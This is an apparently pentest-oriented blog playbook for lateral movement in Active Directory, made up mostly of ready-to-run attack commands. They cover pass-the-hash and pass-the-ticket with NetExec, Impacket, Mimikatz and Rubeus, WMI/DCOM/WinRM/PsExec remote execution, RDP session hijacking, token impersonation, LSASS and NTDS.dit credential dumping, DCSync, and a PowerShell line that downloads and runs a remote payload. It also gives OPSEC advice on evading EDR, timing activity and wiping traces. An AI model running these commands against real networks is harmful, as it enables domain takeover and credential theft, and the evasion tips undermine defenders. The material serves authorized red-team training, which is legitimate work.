Active Directory Lateral Movement: Full Playbook

Once you have credentials or a shell on one host, the real game begins: moving through the network without getting caught. Lateral movement in Active Directory is where most engagements are won or lost.

This is the full playbook. Every technique. The tools, the commands, the detection notes, and the OPSEC considerations that separate a successful engagement from a blocked one.

What Is Lateral Movement in AD?

Lateral movement is the process of using access on one system to gain access to others. In an Active Directory environment, this is especially powerful because credentials, tickets, and tokens are often reusable across the domain.

The goal: move from your initial foothold toward high-value targets — domain controllers, file servers, admin workstations, databases.

Prerequisites

Before lateral movement, you typically need one of:

• Valid credentials (plaintext, NTLM hash, or Kerberos ticket)
• Local admin on the target (for most remote execution techniques)
• Domain account with access to target services

You’ll also want:

• Vultr or DigitalOcean VPS for your C2 infrastructure — don’t run C2 from your home IP
• Impacket, NetExec, Mimikatz, or a C2 framework ready to go

Technique 1: Pass-the-Hash (PtH)

What it is: Use an NTLM hash instead of a plaintext password to authenticate to remote services. No password cracking required.

Requirements: Local admin on target (for SMB-based execution), NTLM hash of a valid account.

PtH with NetExec (NXC)

# Authenticate to a single target
nxc smb 192.168.1.10 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

# Spray across subnet
nxc smb 192.168.1.0/24 -u Administrator -H <NTLM_HASH> --local-auth

# Execute command remotely
nxc smb 192.168.1.10 -u Administrator -H <NTLM_HASH> -x "whoami /all"

PtH with Impacket

# Remote command execution via SMB
impacket-psexec [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:<NT_HASH>

# WMI execution (quieter than psexec)
impacket-wmiexec [email protected] -hashes :<NT_HASH>

# SMBexec (no binary on disk, cmd.exe only)
impacket-smbexec [email protected] -hashes :<NT_HASH>

PtH with Mimikatz

# Spawn shell with injected hash
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:<NT_HASH> /run:cmd.exe

OPSEC notes:

• PsExec writes a service binary to disk and creates a Windows service — loud
• WMIexec and SMBexec are quieter (no binary dropped)
• Event ID 4624 (Logon Type 3) + 4648 will fire on the target
• NetNTLMv2 auth over SMB is logged — consider timing

Technique 2: Pass-the-Ticket (PtT)

What it is: Steal or forge a Kerberos ticket and use it to authenticate to services without knowing the account password.

Requirements: Access to a TGT or TGS (from LSASS, a ticket file, or Rubeus output).

Dump Tickets with Rubeus

# List current tickets
Rubeus.exe triage

# Dump all tickets from LSASS
Rubeus.exe dump /nowrap

# Dump tickets for specific user
Rubeus.exe dump /user:Administrator /nowrap

Pass the Ticket

# Inject ticket into current session
Rubeus.exe ptt /ticket:<Base64_TGT>

# Or load from .kirbi file
Rubeus.exe ptt /ticket:ticket.kirbi

PtT with Mimikatz

# Export tickets from LSASS
sekurlsa::tickets /export

# Inject a ticket
kerberos::ptt ticket.kirbi

# Verify
klist

PtT with Impacket

# Use .ccache ticket file with Impacket tools
export KRB5CCNAME=/tmp/ticket.ccache
impacket-psexec -k -no-pass corp.local/[email protected]

OPSEC notes:

• Kerberos auth (Logon Type 3 with Kerberos) generates less noise than NTLM
• TGTs expire in 10 hours by default — work fast
• Injecting tickets into your own session (PtT) leaves no trace on disk
• Ticket dumps from LSASS trigger LSASS access events (Sysmon Event ID 10)

Technique 3: WMI Remote Execution

What it is: Use Windows Management Instrumentation to execute commands on remote hosts. Native Windows feature — no additional tools needed on target.

Requirements: Valid credentials, WMI allowed through firewall (TCP 135 + dynamic ports).

WMI via PowerShell (native)

# Execute command on remote host
$cred = Get-Credential
Invoke-WmiMethod -ComputerName 192.168.1.10 -Credential $cred -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\Windows\Temp\out.txt"

# Retrieve output
Get-WmiObject -ComputerName 192.168.1.10 -Credential $cred -Query "SELECT * FROM Win32_Process WHERE Name='cmd.exe'"

WMI via CIM (modern, stealthier)

$sess = New-CimSession -ComputerName 192.168.1.10 -Credential $cred
Invoke-CimMethod -CimSession $sess -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine="powershell -enc <BASE64>"}

Impacket WMIexec

# Interactive shell via WMI (semi-interactive, output via share)
impacket-wmiexec corp.local/Administrator:'Password123!'@192.168.1.10

# With hash
impacket-wmiexec -hashes :<NT_HASH> [email protected]

# Single command
impacket-wmiexec Administrator:'Password123!'@192.168.1.10 "ipconfig /all"

OPSEC notes:

• WMI creates child processes under WmiPrvSE.exe — detectable but common
• No file drop (no service binary like PsExec)
• Security Event 4688 fires for process creation with command line logging enabled
• Sysmon Event ID 1 + WMI-Activity operational log captures WMI queries

Technique 4: SMB + PsExec-Style Execution

What it is: Write and execute a service binary over SMB. Classic technique, still works, extremely loud.

NetExec SMB Execution

# Execute command
nxc smb 192.168.1.10 -u Administrator -p 'Password123!' -x "net user hacker H@cker123! /add /domain"

# Execute PowerShell
nxc smb 192.168.1.10 -u Administrator -p 'Password123!' -X "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/payload.ps1')"

# Use specific execution method
nxc smb 192.168.1.10 -u Administrator -p 'Password123!' --exec-method wmiexec -x "whoami"

Impacket PsExec

# Full interactive shell (creates service + binary)
impacket-psexec corp.local/Administrator:'Password123!'@192.168.1.10

# Named pipe selection (change default PSEXECSVC name)
impacket-psexec corp.local/Administrator:'Password123!'@192.168.1.10 -service-name svchost

SMBexec (No Binary on Disk)

# Executes commands entirely through batch files — no binary written to disk
impacket-smbexec corp.local/Administrator:'Password123!'@192.168.1.10

OPSEC notes:

• PsExec = Sysmon Event 1, Security 7045 (service installed), 4697 — always flagged by EDR
• SMBexec is quieter but still creates batch files in C:\Windows\
• Never use PsExec on a real engagement unless you want to get caught

Technique 5: WinRM

What it is: Windows Remote Management — PowerShell remoting over HTTP (5985) or HTTPS (5986). Built-in and increasingly common in modern environments.

Requirements: WinRM enabled on target (default on Server 2012+, not default on workstations), valid credentials or hash.

Native PowerShell Remoting

# Interactive session
Enter-PSSession -ComputerName 192.168.1.10 -Credential (Get-Credential)

# One-liner
Invoke-Command -ComputerName 192.168.1.10 -Credential $cred -ScriptBlock { whoami; hostname }

# Run script remotely
Invoke-Command -ComputerName 192.168.1.10 -Credential $cred -FilePath C:\scripts\payload.ps1

Evil-WinRM (Red Team WinRM Client)

# Connect with password
evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!'

# Connect with hash (PtH)
evil-winrm -i 192.168.1.10 -u Administrator -H <NT_HASH>

# Connect with Kerberos ticket
evil-winrm -i dc01.corp.local -r corp.local -u Administrator

# Upload file mid-session
upload /tmp/SharpHound.exe C:\Windows\Temp\SharpHound.exe

# Download file
download C:\Windows\NTDS\NTDS.dit /tmp/NTDS.dit

NetExec WinRM

# Check WinRM access
nxc winrm 192.168.1.0/24 -u Administrator -p 'Password123!'

# Execute command
nxc winrm 192.168.1.10 -u Administrator -p 'Password123!' -x "whoami"

OPSEC notes:

• WinRM logs to Microsoft-Windows-WinRM/Operational and PowerShell-Operational
• Script block logging (if enabled) captures all PS commands
• HTTPS (5986) encrypts traffic — harder to inspect but same log events
• Session creation event: Security 4624 Logon Type 3

Technique 6: DCOM Lateral Movement

What it is: Distributed Component Object Model — a Windows mechanism for inter-process communication. Several DCOM objects can execute code remotely.

Requirements: Local admin on target, DCOM allowed through firewall.

DCOM via PowerShell

# MMC20.Application (classic technique)
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "192.168.1.10"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c whoami > C:\Windows\Temp\out.txt", "7")

# ShellWindows
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Shell.Application", "192.168.1.10"))
$com.Windows() | ForEach-Object { $_.Document.Application.ShellExecute("cmd.exe", "/c whoami > C:\Windows\Temp\out.txt", "C:\Windows\System32", $null, 0) }

Common DCOM Objects for Execution

OPSEC notes:

• DCOM spawns processes under legitimate parent processes (mmc.exe, explorer.exe) — blends in
• Fewer detections than PsExec historically, but modern EDR has DCOM execution rules
• Firewall must allow TCP 135 (RPC endpoint mapper) + dynamic RPC ports

Technique 7: RDP Lateral Movement

What it is: Remote Desktop Protocol. High-visibility but sometimes necessary, especially for GUI-required targets.

RDP with Stolen Credentials

# Linux → Windows
xfreerdp /u:Administrator /p:'Password123!' /v:192.168.1.10 /cert-ignore

# With hash (Restricted Admin mode must be enabled on target)
xfreerdp /u:Administrator /pth:<NT_HASH> /v:192.168.1.10 /cert-ignore

# Enable Restricted Admin remotely (requires admin rights)
nxc smb 192.168.1.10 -u Administrator -p 'Password123!' -x "reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f"

RDP Hijacking (No Credentials Needed)

# List active sessions
query session

# Hijack disconnected session (requires SYSTEM privileges)
tscon <SESSION_ID> /dest:<CURRENT_SESSION_NAME>

OPSEC notes:

• RDP leaves significant logs: Security 4624 (Type 10), TerminalServices-LocalSessionManager, RDP-Tcp
• RDP to a DC is extremely suspicious — avoid unless necessary
• Hijacking disconnected sessions (tscon) doesn’t require credentials and doesn’t log as a new logon

Technique 8: Token Impersonation

What it is: Steal or impersonate tokens of other users logged into the system. If an admin is logged in, their token may be available.

Incognito / Metasploit

# Metasploit - list available tokens
meterpreter > use incognito
meterpreter > list_tokens -u

# Impersonate a token
meterpreter > impersonate_token "CORP\\Administrator"

# Revert to self
meterpreter > rev2self

Invoke-TokenManipulation (PowerShell)

# List tokens
Invoke-TokenManipulation -Enumerate

# Impersonate and spawn shell
Invoke-TokenManipulation -Username "corp\Administrator" -CreateProcess "cmd.exe"

Make Token (Cobalt Strike / Manual)

# Create a logon session with credentials without actually authenticating yet
runas /netonly /user:corp\Administrator cmd.exe
# Or via Cobalt Strike: make_token domain\user password

OPSEC notes:

• Token manipulation operates in memory — no disk artifacts
• Requires SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
• Service accounts often have SeImpersonatePrivilege — check for potato attacks if you have service account access

Technique 9: Credential Extraction for Lateral Movement

Lateral movement depends on credentials. Here’s where to find them:

LSASS Dump

# Mimikatz (interactive)
sekurlsa::logonpasswords

# Mimikatz (from file — dump first, parse offline)
procdump -ma lsass.exe lsass.dmp
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

# Remotely via NetExec
nxc smb 192.168.1.10 -u Administrator -p 'Password123!' -M lsassy
nxc smb 192.168.1.10 -u Administrator -p 'Password123!' -M nanodump

SAM Database (Local Accounts)

# Impacket secretsdump (remote)
impacket-secretsdump corp.local/Administrator:'Password123!'@192.168.1.10

# Mimikatz (local)
lsadump::sam

NTDS.dit (Domain Hashes — Jackpot)

# Impacket secretsdump via DCSync (no file needed)
impacket-secretsdump corp.local/Administrator:'Password123!'@DC01 -just-dc

# Or with hash
impacket-secretsdump -hashes :<NT_HASH> corp.local/Administrator@DC01 -just-dc

# NetExec
nxc smb DC01 -u Administrator -p 'Password123!' --ntds

Cached Credentials

# Mimikatz — domain cached credentials (DCC2 hashes)
lsadump::cache

Chaining Techniques: Real-World Flow

A typical lateral movement chain looks like:

Initial foothold (low-priv user on WORKSTATION01)
  → Privilege escalation (local admin via exploit or weak config)
  → LSASS dump (get NT hashes of logged-in users)
  → Identify high-value hash (Domain Admin or sysadmin account)
  → Pass-the-Hash → WMIexec to FILESERVER01
  → Dump more creds on FILESERVER01
  → Kerberoast from new context → crack service account hash
  → PtH to DB-SERVER or jump straight to DCSync if you have replication rights
  → DCSync → all domain hashes
  → Golden ticket or PTT to maintain persistence

Detection: What Blue Teams Are Looking For

Understanding detection helps you move smarter:

High-signal detections:

• Any non-DC machine performing DCSync (4662 with replication GUIDs)
• LSASS access from non-system processes (Sysmon 10)
• Lateral tool execution (psexec service installs, 7045)
• Pass-the-Hash patterns: NTLM auth from accounts that normally use Kerberos

OPSEC Checklist for Lateral Movement

Before moving laterally:

• Know your tool’s footprint — PsExec writes services, WMIexec doesn’t
• Use native tools first (LOLBins: wmic, net, sc, reg) before dropping binaries
• Match working hours — lateral movement at 3am stands out
• Clean up — delete dropped files, clear command history, restore registry keys
• Avoid DCs until necessary — anomalous traffic to DCs triggers alerts
• Use your own C2 VPS — never route through personal IP; Vultr and DigitalOcean both work well for this
• Stay in memory — disk artifacts are caught by AV/EDR; memory execution survives longer
• Blend in — use protocols that are normal for that environment (WinRM on server segment, RDP on admin machines)

Tools Summary

Related Articles

• Pass-the-Hash vs Pass-the-Ticket: Complete Guide — deep dive on the credential relay techniques
• DCSync Attack: Dumping AD Credentials with Mimikatz — what happens when you reach replication rights
• Kerberoasting Attack: How It Works and How to Exploit It — service account compromise
• BloodHound Complete Guide: AD Attack Path Mapping — map the path before you move
• NetExec (CrackMapExec) Complete Guide 2026 — master the tool used in most of these techniques

Practice Labs

You need a live AD environment to practice this properly. A few options:

• Vultr — Spin up 2–3 Windows VMs for $20–30/month. Set up your own AD lab in hours.
• DigitalOcean — Same deal, solid pricing on Windows droplets.
• Hack The Box Pro Labs — ADSEC and RastaLabs both cover lateral movement extensively.
• TryHackMe — AD paths are solid for beginners before hitting HTB.

Need your pentest reports to stand out? CipherWrite delivers professional-grade security content — reports, whitepapers, and technical write-ups that actually communicate risk.